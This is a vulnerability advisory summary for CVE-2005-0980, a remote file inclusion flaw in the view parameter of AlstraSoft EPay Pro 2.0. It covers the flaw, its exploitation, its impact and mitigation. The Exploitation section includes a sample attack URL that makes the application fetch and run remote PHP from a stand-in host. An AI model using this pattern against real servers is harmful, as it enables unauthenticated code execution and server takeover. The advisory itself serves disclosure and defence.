CVE-2005-0980

Vulnerability

AlstraSoft EPay Pro version 2.0 contains a PHP remote file inclusion vulnerability in index.php. The view parameter is not properly sanitized, allowing an attacker to specify a URL on a remote web server that contains arbitrary PHP code. The application then includes and executes this code. This is described in the vendor's advisory [1].

Exploitation

An attacker can exploit this vulnerability by crafting a URL such as http://localhost/epal/index.php?view=http://www.server.com/evil where evil is a PHP file containing malicious code (e.g., a command execution script). No authentication is required; the attacker only needs to be able to send HTTP requests to the vulnerable server [1].

Impact

Successful exploitation allows the attacker to execute arbitrary PHP code on the target server, leading to full remote command execution. The attacker could then potentially compromise the server, execute commands, or access sensitive data, as the code runs with the privileges of the web server [1].

Mitigation

The advisory suggests using htmlspecialchars() for output functions and implementing a base directory restriction for file inclusion to prevent these vulnerabilities [1]. However, no official patch from AlstraSoft has been identified in the available references. Users should apply input validation and restrict include paths as a workaround. The vulnerability is not listed in CISA's Known Exploited Vulnerabilities (KEV) catalog as of the publication date.